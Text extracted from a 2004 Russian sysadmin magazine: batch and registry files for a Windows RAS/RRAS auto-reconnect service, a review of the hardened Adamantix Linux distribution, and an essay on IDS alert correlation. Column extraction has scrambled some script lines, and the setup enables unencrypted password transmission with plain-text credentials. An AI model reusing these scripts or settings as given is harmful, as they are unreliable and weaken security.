Каждые 30 секунд (длительность цикла) происходит проверка интерфейса путем посылки 7 ICMP-пакетов: ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵ echo DOWN > %ERR%
где переменная %PINGER% – адрес хоста в локальной сети, от которого мы всегда можем получить ответ. Время отклика выставляется с помощью переменной %PINGTIMEOUT%, равной 2,5 секунды. Откуда получились такие данные? Дело в том, что когда по каналу будет идти еще и передача «тяжелых» протоколов (например, ftp), то практически вся ширина канала будет занята. Поэтому может произойти ситуация, когда канал работоспособен, а ICMP-пакеты задержались. Тогда программа будет считать, что интерфейс упал. В таком случае создается файл %ERR%, и в него пишется слово «DOWN» (т.е. нет интерфейса). if exist %ERR% ( echo No Leased Line link found. STOP IFACE.... %IFSTOP% echo Sleeping %TIMEDROP% seconds before dropping ↵ IFACE one more time. sleep.exe %TIMEDROP%
Плавно переключаем наше внимание на платформу Windows. Для соединения постоянного, отказоустойчивого соединения следует составить свой сервис на основе утилит srvany.exe, instsrv.exe (из Resource Kit, см. также [5, 6]). Файлы ras.cmd, srvany.exe, instsrv.exe, sleep.exe следует положить в системный каталог Windows, в нашем случае это C:\WINNT.PRO. Файл ras.cmd: @Echo Off REM ======================================================= REM 'Cisco2RAS' service (Win2K Pro) REM Auto-connecting / disconnecting RAS engine REM Anton Borisov, a.borisov@tesv.tmb.ru REM 28 Jun 2004 REM ======================================================= set PINGTIMEOUT=2500
36
echo Dropping IFACE one more time. %IFSTOP% echo Sleeping %TIMEIF% seconds before Leased Line is set. sleep.exe %TIMEIF% echo Raising up IFACE once more time.... %IFSTART% echo echo time date echo
_________start log________ >> %LOG% new IFACE is set ... >> %LOG% /t >> %LOG% /T >> %LOG% __________end log_________ >> %LOG%
) echo Sleeping %TIME% seconds in this turn; Sleep.exe %TIME% goto 1
Затем принудительно убирается интерфейс с помощью команды %IFSTOP%, происходит ожидание %TIMEDROP%
администрирование секунд, еще одно контрольное сбрасывание интерфейса и засыпание на %TIMEIF% секунд. Последний показатель – это время, которое нужно обоим модемам, чтобы установить между собой режим выделенной линии. После этого происходит регистрация интерфейса командой %IFSTART%. Обратите внимание, что в строке «set IFSTART=rasdial CiscoHub user pass» указаны имя и пароль пользователя, прописанные в Cisco AS 2500. Имя интерфейса CiscoHub мы с вами уже создавали. Вот в этом командном файле оно и используется. Для того чтобы не устанавливать вручную сервис, я создал данный регистрационный файл. Импортируйте его в реестр и перегрузите машину. Файлras.reg: REGEDIT [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ras.cmd] "Type"=dword:00000010 "Start"=dword:00000002 "ErrorControl"=dword:00000001 "ImagePath"="C:\\WINNT.PRO\\srvany.exe" "DisplayName"="Cisco2RAS" "ObjectName"="LocalSystem" "MyVersionSftw"="Cisco2RAS Service" "MyVersionInfo"="Auto-connecting / disconnecting RAS engine" "MyVersionMail"="Anton Borisov, a.borisov@tesv.tmb.ru" "MyVersionDate"="28 Jun 2004" "Description"="Auto-connecting / disconnecting RAS engine" "FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵ 00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵ 00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00
На этом решение для установки связи между офисом и удаленным филиалом на основе Windows 2000 Professional и Cisco AS 2500 реализовано. Теперь обратимся к варианту на основе RRAS для Windows 2000 Server. Настраивается RRAS почти что аналогичным образом, что и RAS под Windows 2000 Professional. Выбираем Start → Settings → Control Panel → Administrative Wizards → Routing and Remote Access Server.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵ ras.cmd\Parameters] "Application"="C:\\WINNT.PRO\\ras.cmd" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵ ras.cmd\Enum] "0"="Root\\LEGACY_RAS.CMD\\0000" "Count"=dword:00000001 "NextInstance"=dword:00000001
Строки MyVersionSftw, MyVersionInfo и т. д. несут только смысловую нагрузку. После перезагрузки в службах появится новый сервис.
Выбираем настройку вручную.
При этом сервис настроен таким образом, что он будет автоматически перезапущен 2 раза в случае неудачного первоначального старта.
№9(22), сентябрь 2004
37
администрирование И происходит запуск службы, далее будем только изменять опции.
Теперь в свойствах нужно указать необходимые опции. Следует включить опции передачи пароля в незашифрованной форме и производить роутинг.
Добавим новый интерфейс.
И назовем его CiscoHub. Заполняем поля с именем пользователя и его паролем.
Подключаемся к нему через физическое устройство.
В свойствах созданного интерфейса CiscoHub укажем, что это постоянное соединение.
Которое сейчас и укажем.
Как вы видите, используется то же устройство, что и в Windows 2000 Pro.
38
А также добавим статический роутинг для интерфейса CiscoHub.
администрирование ) echo "Sleeping %TIME% seconds in this turn"; Sleep.exe %TIME% goto 1
Файл rras.reg:
Аналогично выглядит командный файл сервиса и regфайл этого сервиса. Файл rras.cmd: @Echo Off REM ======================================================= REM 'Cisco2RRAS' service REM Auto-connecting / disconnecting RRAS engine REM Anton Borisov, a.borisov@tesv.tmb.ru REM 28 Jun 2004 REM ======================================================= set PINGTIMEOUT=2000 set LOG=%SystemRoot%\cisco2rras.log set ERR=%SystemRoot%\cisco2rras.err REM // 30 seconds lasts each cycle set TIME=30 REM // 8 seconds to raise new interface in Leased Line set TIMEDROP=8 REM // 15 seconds for new interface to establish connection set TIMEIF=15 set IFSTOP=netsh interface set interface name = ↵ CiscoHub connect = DISCONNECT set IFSTART=netsh interface set interface name = ↵ CiscoHub connect = CONNECT set IFROUTE=netsh routing ip add persistentroute ↵ 192.168.0.0 255.255.0.0 CiscoHub set MyCMD=Cisco2RRAS set PINGER=192.168.0.100 Echo "========[ %MyCMD% Service startup! ]=======" >> %LOG% time /t >> %LOG% date /T >> %LOG% :1 echo "Erasing statistics file %ERR% in this cycle" del %ERR% ping %PINGER% -n 7 -w %PINGTIMEOUT% | find "TTL" || ↵ echo DOWN > %ERR% if exist %ERR% ( echo "No reliable route found. Dropping down IFACE...". %IFSTOP% echo "Sleeping %TIMEDROP% seconds before new IFACE ↵ is raised up". sleep.exe %TIMEDROP% echo "Sleeping %TIMEIF% seconds before Leased Line is set". sleep.exe %TIMEIF% echo "Establishing new route. Raising up IFACE...". %IFSTART% %IFROUTE% echo echo time date echo
"_________start log________" >> %LOG% "new IFACE is set ... " >> %LOG% /t >> %LOG% /T >> %LOG% "__________end log_________" >> %LOG%
№9(22), сентябрь 2004
REGEDIT4 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\rras.cmd] "Type"=dword:00000010 "Start"=dword:00000002 "ErrorControl"=dword:00000001 "ImagePath"="C:\\WINNT.SRV\\srvany.exe" "DisplayName"="Cisco2RRAS" "ObjectName"="LocalSystem" "MyVersionSftw"="Cisco2RRAS Service" "MyVersionInfo"="Auto-connecting / disconnecting RRAS engine" "MyVersionMail"="Anton Borisov, a.borisov@tesv.tmb.ru" "MyVersionDate"="28 Jun 2004" "Description"="Auto-connecting / disconnecting RAS engine" "FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00, ↵ 00,03,00,00,00,98,10,0e,00,01,00,00,00,e0,93,04, ↵ 00,01,00,00,00,e0,93,04,00,00,00,00,00,00,00,00,00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵ rras.cmd\Parameters] "Application"="C:\\WINNT.SRV\\rras.cmd" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ↵ rras.cmd\Enum] "0"="Root\\LEGACY_RRAS.CMD\\0000" "Count"=dword:00000001 "NextInstance"=dword:00000001
Отличия от версии для RAS выделены красным. Любознательный читатель спросит, а в чем преимущество описанной модели? Дело в том, что при плохом качестве самой линии часто возникают разрывы соединения. Восстановить соединение про требованию (Call-on-Demand), когда инициатором выступает машина удаленного офиса, при использовании RRAS, несложно. Задача усложняется, когда требуется исключить влияние оператора на ход соединения, а также требуется иметь на удаленной стороне автономную систему, восстанавливающую свои свойства (в данном случае соединение) при аварийных случаях. Штатными средствами решить это сложновато, особенно, когда стоит финансовая дилемма использовать Windows 2000 Professional или же Windows 2000 Server. Из опыта – при тестовых испытаниях восстановление интерфейса происходило менее чем за 45 секунд. Таким образом, предлагается полностью автоматическое управление полетом. Можно включать и пользоваться.
Источники: 1. http://www.zy.com.pl/ftp/MIRROR-FTP-ZYXEL/u1496s/ document/u1496s_v1_UsersGuide.pdf 2. http://www.rsdn.ru/article/net/rasadmindll.xml 3. http://labmice.techtarget.com/networking/ras.htm 4. http://www.petri.co.il/configure_tcp_ip_from_cmd.htm 5. http://www.dynawell.com/reskit/microsoft/win2000/sleep.zip 6. http://www.dynawell.com/reskit/microsoft/win2000/srvany.zip 7. Cisco 2500 Series Access Server User Guide 8. http://www.telconi.com/download.html 9. http://www.tftp-server.com 10. http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/ 11. http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp 12. http://www.lulu.com/content/66928
39
безопасность
КРЕПКИЙ ОРЕШЕК
Really incredible “... highly-secure but usable...”
СЕРГЕЙ ЯРЕМЧУК Интернет сегодня не является дружеcтвенной средой и, кроме посетителей, желающих ознакомиться с ресурсом, к вам наверняка наведываются и те, кто считает своим долгом проверить узел на защищенность. В журнале уже много писалось о том, как собрать защищенную систему, но на самостоятельную сборку таких систем подчас уходит большое количество времени, особенно при использовании нестандартных приложений, параметры к которым приходится подбирать экспериментальным путем. Сегодня мы познакомимся с дистрибутивом, разработчики которого пытаются решить две противоречивые задачи: сделать максимально защищенную, но в то же время простую (я не сказал легкую) в использовании систему. Проект Adamantix (http://www.adamantix.org) занимается разработкой одноименного дистрибутива, который по заверениям разработчиков способен противостоять большинству самых распространенных в Интернете атак и предохранить от некоторых возможных проблем с безопасностью в будущем. Началом проекта послужил другой проект Trusted Debian (http://www.trusteddebian.org), но т.к. Debian является зарегистрированной торговой маркой, было принято решение изменить название. В Adamantix стараются реализовать все достижения Linux: графический десктоп, в будущем, возможно, и графический инсталлятор, автоматическое определение железа, настройка звука, мультимедиа, но только с одним отличием – это будет более безопасная система. Для достижения этой цели применяются различные патчи к ядру и компилятору, более защищенные и специально протестированные версии программ и другие технологии, повышающие общую защищенность системы. Используется только свободное программное обеспечение, поэтому лицензионных отчислений не требуется, хотя в последнее время стал активно развиваться и коммерческий проект, расположенный по адресу http://www.adamantix.com.
40
Установка В документации самими разработчиками установка названа как грязная, неудобная, недружественная, и сказано, что при неаккуратном обращении может привести к потери данных. Посмотрим, может, это действительно так. Поначалу ничего необычного: записываем скачанный образ размером 230 Мб на CD, загружаемся, жмем Enter и попадаем в консоль. Для ознакомления с особенностями следует прочесть файлы FAQ, INSTALL, README и WARNING в каталоге /root. Для установки запускаем скрипт аdamantix-install, после этого в сотый раз предупреждают об уничтожении данных, выбираем раскладку, программу, при помощи которой будем разбивать диск (fdisk, cfdisk, parted), после чего выбираем точку монтирования для корневого и остальных разделов, файловую систему для вновь созданных разделов (XFS, ReiserFS, ext2/3), прописываем параметры сетевых интерфейсов, которые нашла программа установки, IP-адреса шлюза и DNS-сервера, временной пояс и сервер для обновлений, место установки загрузчика. При этом для перехода к следующему пункту выбираем continue. И под конец вводим пароли для root и so (security officer). На этом все. Ничего страшного не произошло, человек, умеющий обращаться с указанными программами и знающий необходимые параметры, вопреки всем предупреждениям установить систему все-таки сможет. И, кстати, можно установить Adamantix поверх Debian 3.0 (Woody), установленного в минимальной инсталляции. При этом для возможности установки приложений при помощи apt-get советую занести один из выбранных на http://www.adamantix.org/ mirrors.html серверов в файл /etc/apt/sources.list, т.к. пакеты из Debian не перекомпилированы и не могут противостоять атакам переполнения буфера подобно пакетам Adamantix. Перезагружаемся. Нас встречает GRUB, в котором на выбор предлагается несколько вариантов загрузки.
безопасность Сердца Adamantix Сейчас для работы используется версия 2.4.22-3 ядра, взятая от Debian unstable. В результате наложения тех или иных патчей получилось три ядра (в более ранних версиях было и четвертое) в шести вариантах (подробнее смотрите http://www.adamantix.org/documentation/kernel.html/ view): normal, softmode kernel (с префиксом -soft) и secure mode kernel (-sec). Все ядра скомпилированы с поддержкой SSP (Stack Smashing Protector), обеспечивающей некоторую защиту от переполнения буфера, включена поддержка XFS, AES-loop, добавлены патчи защиты RSBAC (http://www.rsbac.org) и PaX (http://pageexec.virtualave.net), модуль MS (Malware Scan) с поддержкой ClamAV, включены transparent proxy и модуль MPPE (encrypted PPP) и некоторые другие опции. В normal kernel отключен RSBAC, хотя здесь небольшая путаница в документации, так, в FAQ сказано, что он отключен, а в документе «Adamantix Kernel Information» сказано, что включен, но, судя по надписям при загрузке, поддержки RSBAC все-таки нет. Ядро soft предназначено в основном для первоначальной отладки или обкатки технологии RSBAC, т.к. оно не обеспечивает защиту, а лишь заносит все нарушения политик в журнал. Для возможности отключения режима управления доступом оставлена возможность работы в режиме rsbac_ softmode, для перехода в защищенный режим достаточно убрать строку в загрузчике. Также оставлена включенной опция ядра CONFIG_MAGIC_SYSRQ, позволяющая комбинацией <ALT + SysRq> + <command key> производить некоторые операции, к которым, правда, не всегда полезно иметь доступ пользователю (подробнее см. в /usr/src/linux/ Documentation/sysrq.txt). В ядре sec, предназначенном для максимальной защиты, изначально отключено и запрещено все, что есть в soft, поэтому перейти в режим soft изменением параметров, передаваемых ядру, не удастся. Если не хотите возиться с настройками RSBAC, то можно использовать ядро без префикса, все равно защищенность будет выше благодаря применению PaX, который обеспечивает защиту памяти. Разработчики PaX, в отличие от других подобных проектов вроде OpenWall, в которых реализована защита от конкретных атак, сосредоточивают свои усилия на защите от целых классов атак и, вероятно, этот проект может стать единственным, о котором будeм говорить в будущем. Для сомневающихся в эффективности этой технологии на странице http://www.adamantix.org/ demo.html приведены некоторые примеры и, главное, имеются инструменты, позволяющие проверить правдивость этих доводов.
Загрузка При первой загрузке выскочило сообщение: «Error 15: File not found». Диск был разбит на такие разделы: hda1 swap hda2 /boot hda3 /var hda4 /. Все решилось изменением строки root hd(0,1) в конфигурации GRUB, для этого, выбрав нужный пункт, нажимаем «e», и после внесения изменений для загрузки «b», затем, чтобы не нажимать это каждый раз, редактируем конфигурационный файл загрузчика /boot/ grub/menu.lst, используя vi или GNU/nano. В случае применения RSBAC первоначально необходимо загрузиться в soft mode и выполнить команду rsbac_fd_menu /bin/login и да-
№9(22), сентябрь 2004
лее в появившемся меню устанавливаем AUTH May Setuid в On, иначе система вас попросту не пустит, т.к. процесс не сможет сменить uid, примерно такие действия придется проделать затем и для остальных команд, которым необходимо изменение uid.
Работа Конечно же, в объем 230 Мб вошло только то, что нужно для установки и первоначальных настроек, все остальное, необходимое для работы, придется доустанавливать и настраивать самому. Это сделано специально для того, чтобы администратор сам мог выбрать только то, что ему действительно необходимо, лишние приложения в защищенной системе обычно не приветствуются. Да и, как мне кажется, установить требуемое все-таки легче, чем убрать лишнее. Для установки и обновления приложений используется знакомая пользователям Debian утилита apt-get с указанием нужного пакета. Если вы устанавливаете Adamantix поверх Debian, то в первую очередь установите необходимые для настройки RSBAC пакеты: rsbacadamantix, rsbac-admin, rsbac-klogd и rsbac-secpolic. Если с установкой новых приложений проблем быть не должно, apt-get уже давно заслужил похвалу у пользователей, то вот с его настройкой под RSBAC придется повозиться. Что поделаешь, Adamantix не относится к тем дистрибутивам, которые настраиваются за пол-дня, здесь в каждом конкретном случае требуется индивидуальный подход, да и построение защищенной системы не любит спешки. Кстати, за логи отвечает пакет rsbac-klogd, который пишет все данные по защите в /so/log/security-log, находящийся в домашнем каталоге пользователя so (uid=400), куда имеет доступ только пользователь so, root при полной защите в него не допускается. Так что ответы на вопросы, почему не запускаются те или иные сервисы, смотрите там. Далее для информации по применению RSBAC почитайте документы «RSBAC on Adamantix HOWTO» (http:// www.adamantix.org/documentation/rsbac.html/view) и «Apache with RSBAC Role Compatibility» (http://www.adamantix.org/ documentation/rsbac.html/view), информацию на сайте проекта RSBAC, где найдете много готовых примеров, а также мою статью «RSBAC для Linux» в январском номере журнала за 2004 год и статью Станислава Иевлева «RSBAC для начинающих» (http://linux.ru.net/~inger/RSBAC-DOC.html). И остается открытым вопрос цены такой защиты. Конечно же, она имеется. Так, за PaX, который используется во всех ядрах, придется отдать 1-2% производительности, Stack Smashing Protector (SSP) забирает в зависимости от кода до 8%, и на долю RSBAC приходится 4-5%. Последняя зависит от количества и состава запущенных модулей (подробнее о модулях в документации). Единственный недостаток Adamantix – это молодость и, как следствие, отсутствие документации, в которой можно найти готовые на все случаи рецепты, но остается только надеяться, что это ненадолго. И конечно же, Adamantix – дистрибутив не для всех (по крайней мере пока), но если необходима максимальная защищенность будущей системы и одновременно легкость в обновлении и совместимость, то, наверное, стоит обратить на него внимание.
41
безопасность
БЕССОННАЯ НОЧЬ АДМИНА, ИЛИ ВОЗМОЖНО ЛИ ПОВЫШЕНИЕ ТОЧНОСТИ IDS
СЕРГЕЙ ЯРЕМЧУК Первые упоминания о системах обнаружения атак (IDS) относятся к 1980 году, и начались с публикации Джона Андерсона (John Anderson) «Computer Security Threat Monitoring and Surveillance». Сегодня же их применяют как в сетях, так и устанавливают на отдельные компьютеры, как правило, в качестве второй дополнительной линии защиты (после firewall) для сигнализации о действиях, которые являются злонамеренными по своему содержанию, и остановки вторжения. Открытость инструментов для атаки и доступность соответствующей информации помогает не только администраторам в изучении уязвимости систем, но и приводит к тому, что у некоторых злоумышленников, как говорят, руки чешутся. Постоянные сканирования, проверки в действии эксплоитов, попытки подбора паролей, сетевые черви – далеко не полный список того, с чем сегодня приходится иметь дело администратору. И к сожалению, в этой ситуации IDS не всегда являются помощниками, а даже наоборот, подчас только мешают нормальной работе. В последнее время их работа все больше и больше вызывает критику за то, что они генерируют большое количество данных, в которых истинные предупреждения смешаны с большим количеством ложных сообщений. Учитывая, что какая-нибудь сотня предупреждений в день на сегодня – далеко не фантастическая цифра (а реально она гораздо больше, и растет постоянно), перебрать и проанализировать поступающий поток информации не в силе ни один админ, на анализ информации тратится большое количество времени, а автоматическое принятие решений может повлечь за собой любые последствия вплоть до отключения всей сети от Интернета. Кроме того, такие системы не различают атаки по степени угрозы и реагируют на малоопасные (а то вообще безопасные для данного узла) атаки или аномалии и выдают сообщения без разбора, независимо от наличия связи между некоторыми действиями. Как пример после сканирования портов далеко не всегда происходит атака. Дошло дело до того, что некоторые просто отказываются от использования сетевых IDS или ограничивают количество датчиков, чтобы не потонуть в этом море информа-
42
ции. Естественно, такое положение дел не могло не остаться незамеченным, и были предприняты попытки найти решения, помогающие уменьшить объем выводимой информации и увеличить точность систем обнаружения атак.
Компьютеры и IDS (настоящее время) Существует несколько классификаций IDS, некоторые из них были затронуты в статье Павла Заклякова [13], подробно останавливаться не буду, но для понимания общего вопроса, возможно, кое-где придется повториться. Системы обнаружения атак можно грубо поделить на системы, реагирующие на аномалии (например, HostSentry, использующий технологию Login Anomaly Detection), и системы, использующие технологии anomaly detection и misuse detection, например Snort. Первые, собирая некоторую статистику (продолжительность сеансов telnet, IP-адреса и пр.), отслеживают все измения и в случае существенного отклонения от некоторой нормы бьют тревогу. Хотя, если быть точнее, сейчас различают два типа подобных систем: statistical analysis system и adaptive system. Пример выше описывает статистические системы, адаптивные же, применяя сложные математические модели, строят некие правила для среды и обучаются, изучая поведение пользователей и системы. Детекторы систем misuse detection реагируют на известные атаки и уязвимости, предварительно занесеные в базу данных системы в виде сигнатур. Проблемы есть у обеих систем. Первые требуют серьезных статистических исследований и обучения, и не всегда могут отличить нормальные действия от злонамеренных, хотя надо отметить, это довольно перспективное направление развития систем IDS, и за ними, очевидно, будущее. Вторые не могут обнаруживать новые, не занесенные в базу атаки, при этом при обнаружении новых разновидностей атак существует некоторая латентность, пока ее изучат и занесут в базу, а учитывая, что за полчаса сетевой вирус способен заразить около 100 тысяч компьютеров, эта задержка делает бесполезной такие системы в самом начале эпидемии. Далее IDS делятся на Network-based IDS и Host-based IDS. NIDS про-
безопасность сматривают сетевой трафик и реагируют на сетевые атаки, в то время как HIDS защищают отдельный узел. Причем такое разделение обязанностей привело к тому, что NIDS не понимают, что происходит непосредственно на компьютере и оказываются бесполезны при шифровании трафика и наоборот, системе, защищающей хост, абсолютно все равно, что там творится в сети. Выходом из этой ситуации послужило создание гибридных IDS, сочетающих в себе достоинства тех и других. В последнее время все чаще IDS разделяют на собственно IDS, отвечающие за сбор статистики, и IPS (Intrusion Prevention Systems, система предотвращения атак) – системы, позволяющие реагировать на атаки. Если в первом случае админ будет просто завален большим количеством (в том числе ложных, отвлекающих предупреждений), то во втором случае ошибка в определении может иметь более неприятные последствия вроде отказа в доступе вполне лояльным пользователям. И не секрет, что сегодня именно IDS благодаря своим «достоинствам» подчас подвергаются атаке, атакующий таким образом старается сбить администратора с толку, ввести дезинформацию, отвлечь внимание.
Некоторые модели повышения точности систем Можно выделить три класса корреляции результатов. Например, возможно отобрать все предупреждения, основываясь на подобии неких атрибутов атаки. Как пример один и тот же IP-адрес, такой метод позволяет обнаружить скрытое сканирование сетей, но, скорее всего, такой подход не сможет полностью обнаружить все зависимости между предупреждениями, хотя бы по причине того, что некоторые параметры очень легко изменить во время атаки, но все равно все угрозы, исходящие из одного адреса, будут рассматриваться как одна, а не несколько угроз, от ложных тревог такая схема не спасет. Но средства вывода информации IDS-систем позволяют рассмотреть собранные данные под любым углом, каким только ни пожелает ее просмотреть и проанализировать админ (IP-адресам, сервисам и пр.), так что проблемы этого класса, можно сказать, уже решены. Также, кроме IP-адреса, сюда можно включить и подобие пакетов, так, например, некоторые реализации программ для DoS-атак подменяют только IP-адрес отправителя, поэтому, захватив такие пакеты, можно обнаружить их почти полную идентичность (установленые флаги, ttl, размер окна приема/передачи), отсюда можно сделать вполне логичное заключение о том, что это одна угроза, а не несколько, и не засорять вывод. Хотя подобные атаки довольно хорошо описываются отдельными методами следующих далее классов. При отборе результатов возможно следование хорошо изученным методикам атак, это так называемые механизмы последствия, но при отклонении в сценарии атаки такая система может и не отреагировать. К тому же механизмы последствия используют методы, которые распознают предупреждения, уровень серьезности атаки и временной интервал между двумя связанными предупреждениями, что не дает достаточно информации, позволяющей собрать воедино всевозможно связанные предупреждения. Кроме того, непросто предсказать, как нападающий может производить атаку или ее части, т.е. разработать до-
№9(22), сентябрь 2004
статочно точный набор последствий довольно тяжело. Хотя в общем такие системы позволяют уменьшить объем выводимой информации, собирая в один вывод все возможные предупреждения, соответствующие некоему возможному последствию. Поэтому в данном классе наиболее перспективным мне кажется вариант модели самообучающихся систем. Такой подход позволит автоматически формировать модели для корреляции данных, однако это потребует обучения в каждом отдельном случае. И последний класс применяет более комплексный подход, используя как предпосылки, так и последствия атак. При этом предпосылка атаки определяет то, что должно быть удовлетворено для успешной атаки, а последствие атаки описывает то, что должно произойти в том случае, когда атака действительно удается. При таком подходе этот класс позволяет раскрыть зависимости между предупреждениями и, главное, не ограничен только известными сценариями атаки, хотя некоторые методики не отличают несколько реализаций одной и той же атаки. Все используемые методы третьего класса основаны на предположении, что атака узла связана в несколько часто изолируемых стадий с подготовкой в начале и переходит к более активным действиям в конце. Так, например, сканирование и сбор баннеров (т.е. предпосылка атаки) должны указать злоумышленнику на используемые (и возможно, уязвимые) сервисы, действия же вслепую могут привести к успеху только в довольно небольшом количестве случаев (для конкретной системы). Существование уязвимых сервисов является хорошей предпосылкой для начала атаки и получения доступа к системе. Эту ситуацию в самой простой форме можно представить как Host(IP, Port). Но для успешной атаки требуется, чтобы компьютер с такими параметрами был доступен для нападающего, т.е. не был прикрыт firewall. Отсюда условие, необходимое для успешной атаки, приобретает такой вид: Host(IP, Port) && AccessibleFirewall(IP, Port), и чтобы атака удалась, как вариант необходимо наличие VulnerableWeb Server(IP). Учитывая, что IDS, прослушивая трафик и анализируя результат, «не знает» о настройках firewall и запущенных сервисах, поэтому сигнализирует обо всем, что обнаруживает, поэтому если отфильтровать ненужную информацию, можно убрать часть ложных тревог. При описании последствий атаки (действительно возможного исхода) используется набор предикатов вроде RootAccess(IP), DOSAttask(IP), SystemCompromised(IP) и т. д. Но атака не обязательно может генерировать заявленное последствие. Например, сервис выполняется в изолированной chroot-среде или на сервере установлен один из пакетов, защищающих от возможных последствий переполнения буфера libsafe, LIDS и пр. Но все равно в моделях используется понятие возможных последствий, а не фактических, по причине того, что IDS не может иметь достаточно информации, чтобы принять решение об эффективности атаки. Для того чтобы отслеживать повторяющиеся с течением времени атаки и не засорять вывод, к отслеживаемым параметрам возможно добавление временного интервала. Также в некоторых моделях позволяется частичное удовлетворение предпосылок и последствий, что повышает точность, позволяя определить и соединить в одно предупреждение, в том числе и случайные атаки, когда на-
43
безопасность падающий вначале пробует сеть на уязвимость, просто указав диапазон адресов в надежде на успех. При этом стоит заметить, что в моделях рассматриваются в первую очередь параметры объекта атаки, т.е. сам уязвимый узел. Параметры нападающей системы менее интересны и имеют меньшее значение для корреляции результатов, что, согласитесь, вполне логично, т.к. тот же IP-адрес можно поменять, используя любой анонимный прокси-сервер, да и большинству админов абсолютно нет никакого дела, кто его сейчас атакует, главными остаются сам факт атаки, служба, подвергшаяся нападению, желание остановить вторжение и уменьшить потери. Но естественно, данные атакующей системы в окончательном результате фигурируют. «Факт», «предпосылка», «последствие» – главные слова в моделях третьей группы.
Что для этого нужно? Математика – это, конечно, хорошо, но для ее работы требуются данные. Традиционные системы обнаружения атак работают, как правило, только с одним типом датчиков – сетевым или контролирующим параметр на самом хосте. Но такой подход не позволяет увидеть и оценить картину в целом, а в случае возникновения угрозы сразу найти и локализовать ее источник. Для более эффективной работы систем IDS требуется комплексный подход, чтобы система могла иметь полную картину происходящего, только в таком случае возможно уменьшение количества ложных тревог и корреляции данных. Если с сетевыми IDS ситуация более-менее ясна, кроме традиционного поиска в пакетах сигнатур атак, основные усилия сосредоточены на создании самообучающихся систем, реагирующих на аномалии (я думаю, это тема отдельного разговора и поэтому сейчас затрагивать ее не буду). Кроме того, основное усилие сейчас сосредоточено на создании распределенных систем, позволяющих определять скоординированные атаки в больших сетях. Такие системы, как правило, состоят из нескольких мониторов, способных общаться друг с другом при определении распределенных атак, решающего устройства для анализа собранных данных, и базы данных, предназначенной для хранения информации. Но все равно для успешного 100% точного детектирования одной информации мало, поэтому сейчас заметны усилия по объединению систем IDS в комплексы. Интересны и перспективны исследования зависимостей некоторых параметров при возникновении тех или иных внештатных обстоятельств. Например, резкое увеличение количества процессов, загрузка CPU, объем занимаемой памяти отдельным процессом, открытие новых сетевых соединений, подозрительные, т.е. не характерные для данного сервиса последовательность системных вызовов и объемы передаваемой/принимаемой информации и сопоставление полученных результатов. Работа такая ведется, и уже имеются некие алгоритмы, но для UNIX-систем не характерна унификация приложений, и отследить статистику всех вариантов сложнее. Особое внимание исследователей обращено на системные журналы, в которых имеется вся информация о том, что происходит на компьютере. Сопоставляя данные, полученные из различных журналов (в том числе и систем IDS,
44
контроля целостности, honeypot, firewall и пр.), можно сделать вывод о попытке и эффективности атак, кроме того, некоторые неочевидные атаки могут не проявиться в одном журнале, но при сопоставлении нескольких уже можно связать все воедино и увеличить КПД систем IDS. При изучении этого вопроса используется два способа. Первый – берут известную атаку и анализируют записи, оставленные в системных журналах, это позволяет найти общее и выявить классы атак, получить статистику и составить список журналов, в которых обнаруживаются следы тех или иных атак. Во втором способе исследователи сами пробуют опознавать образы атак в многочисленных журналах, выявить аномалии и вывести некие законы. Как пример таблица «Log correlation table», найденная мной в документе «Log Correlation for Intrusion Detection: A Proof of Concept» (http:// www.ncassr.org/projects/sift/papers/ACSAC03.PDF), правда, стоит отметить, что syslog собирает информацию от нескольких источников и поэтому содержащаяся в нем информация может отличаться в зависимости от настроек конкретной системы.
Надо отметить, что тестовые системы, на которых обкатывались методики, описанные в этом пункте, были способны автоматически выявить начало вирусной эпидемии и многие другие аномалии. Несмотря на то, что работа по уменьшению ошибок систем обнаружения атак ведется уже давно, мне пока не удалось найти законченных приложений, которые можно было рекомендовать для применения, особенно это касается свободных проектов. Некоторые ссылки ведут в пустоту, некоторые проекты уже стали коммерческими, и технологии скрыты за семью печатями, получить доступ даже для тестирования не удается, на сайтах организаций, ранее занимавшихся этим вопросом, можно найти лишь некоторые обрывки (некоторые доступны только для нужд образования), позволяющие оценить прогресс, но не собрать систему. Наиболее близко из OpenSource-систем к решению стоят разработчики гибридной IDS Prelude (http:// www.prelude-ids.org), о которой речь шла в июньском номере журнала за этот год. По крайней мере сам принцип построения этой системы, доступные датчики, анализирующие аномалии как в сети, так и на отдельном хосте, включая анализ логов и уже имеющиеся скрипты (http:// www.rstack.org/oudot/prelude/correlation) позволяют надеяться, что эта работа будет все-таки доведена до конца. Ближайшим, если можно так выразиться, конкурентом, вероятно, является довольно интересный проект STAT (State
безопасность Transition Analysis Technique, http://www.cs.ucsb.edu/~kemm/ netstat.html/projects.html), в котором имеется все, что необходимо для нормальной работы системы и коррелляции поступающих данных: сетевые и хост scenario-based-датчики, и в том числе уже разработан один датчик уровня приложений (application-based) для веб-сервера Apache, анализаторы логов, менеджер и специальный модуль для анализа, предназначенный для идентификации атак, в том числе и многоступенчатых. Подробнее о работе STAT – в следующем номере журнала. Из других разработок стоит отметить работу Колумбийского университета MADAM ID – Mining Audit Data for Automated Models for Intrusion Detection(Columbia IDS), являющуюся частью большого пректа JAM – (Java Agents for Meta-Learning) (http://www.cs.columbia.edu/jam), уже, кстати, тоже успевшего лицензировать свою технологию для коммерческой разработки компанией System Detection, INC. http://www.sysd.com/, которая, в свою очередь, обещает в скором выпустить готовые продукты, умеющие распознавать аномальные явления в сети, устранять ложные срабатывания и пр. Основная идея проекта JAM состоит в том, чтобы, используя данные, полученные от нескольких разнородных датчиков, используя свои модели, коррелировать их в некий набор правил, способных произвести общее описание среды, в которую они включены. Судя по описанию,
